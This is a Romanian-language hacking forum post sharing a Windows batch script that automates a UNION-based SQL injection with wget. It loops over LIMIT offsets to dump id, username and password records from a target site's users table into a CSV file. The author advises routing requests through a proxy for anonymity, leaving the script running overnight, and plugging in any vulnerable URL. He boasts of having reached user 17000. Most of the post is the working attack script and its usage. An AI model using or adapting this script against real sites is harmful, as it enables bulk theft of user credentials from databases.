Jump to content
loki

SQLI colectare cu batch file

Recommended Posts

m-a palit azi inspirat dintr-un topic de pe aici.

Precizez ca azi mi-am umplut cunostintele despre fisierele batch - ca pana azi nu am facut absolut nici unul (exceptand echo helo world damn I am cool! in autoexec)

Am folosit wget pentru windows, il gasiti pe google relativ usor (ar fi o optimizare combinarea bat-ului in sursa C de la wget).

Am folosit fisier CSV deoarece e usor de vizualizat in excell. CSV e un fisier text sub forma unui tabel despartit de virgule. Scriptul genereaza capul tabelului si inregistrarile.

Modificati:

first=prima inregistrare

last=ultima inregistrare

csvout=numele fisierului csv

proxy=http proxy sau http://

link1=www.example.com/?id=1 and 1=2 union select concat(0x60,username,0x2c,etc,0x2c,cevadate,0x60),2,3 limit

link2=,1--

echo index,id,username,password>%csvoutput% puneti index (numarul de ordine pus la limit) si apoi intrarile din union

In cod link-ul final va fi de forma proxy+link1+nrinregistrarii+link2

am scos link-ul din bat ca totusi sa nu fie pompat preferential de toti miniscripterii care dau pe aici. Luati un sqli la intamplare care va da o inregistrare cu limit n,1


@echo off
cls
setlocal
set first=0
set last=1000
set csvoutput=useri.csv
REM proxy este un http proxy, o simpla metoda de anonimizare, puneti http:// daca nu folositi
set proxy=http://

REM am folosit ` ca separator, adica 0x60 pus la stanga si la dreapta in concat. link1 si link2 formeaza link-ul final, intre ele aflandu-se numarul inregistrarii introdus in bucla FOR
set link1=www.example.com?id=1+and+1=2+union+select+1,2,concat(0x60,id,0x2c,username,0x2c,password,0x60),4,5,6,7,8,9,10,11 from users limit
set link2=,1--

REM scriem in fisier nou capul de tabel
echo index,id,username,password>%csvoutput%

set A=%first%
:LoopStart

wget -U --user-agent=Mozilla -q -O page "%proxy%%link1%%a%%link2%"
FOR /F "tokens=2 delims=`" %%A IN ('findstr /R "`" page') DO SET y=%%A

REM punem ghilimelele
set y="%y%"

REM facem un replace la caracterele care nu plac bat-urilor
SET y=%y:<=3C#%
SET y=%y:>=3E#%
SET y=%y:&=26#%
SET y=%y:|=7C#%

REM scoatem ghilimelele
SET y=###%y%###
SET y=%y:"###=%
SET y=%y:###"=%
SET y=%y:###=%

echo %A%
echo %A%,%y% >>%csvoutput%

REM e mai bine sa sterg fisierul temporar ca daca pica netul va va oferi inregistrari identice
del page

set /a A+=1
IF %A% LEQ %last% GOTO LoopStart

endlocal
@echo Done!
pause

Deci, salvati codul ca bat in acelasi folder cu wget.exe de pe net

Metoda e utila ca puteti lasa peste noapte un script. Vin de la un bairam si ma uit cum a ajuns deja la userul 17000 (hehe la mine last e 100000, aici e doar exemplu)...

Nu le am cu batch-urile si m-am izbit de problema tagurilor html in echo, asa ca am folosit rapid substitutii cu coduri hexa terminate in #. Mai intai sirul a fost incadrat intre ghilimele pentru a aplica substitutiile, apoi le-am eliminat. Astept idei de optimizare in acest sens.

Edited by loki
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...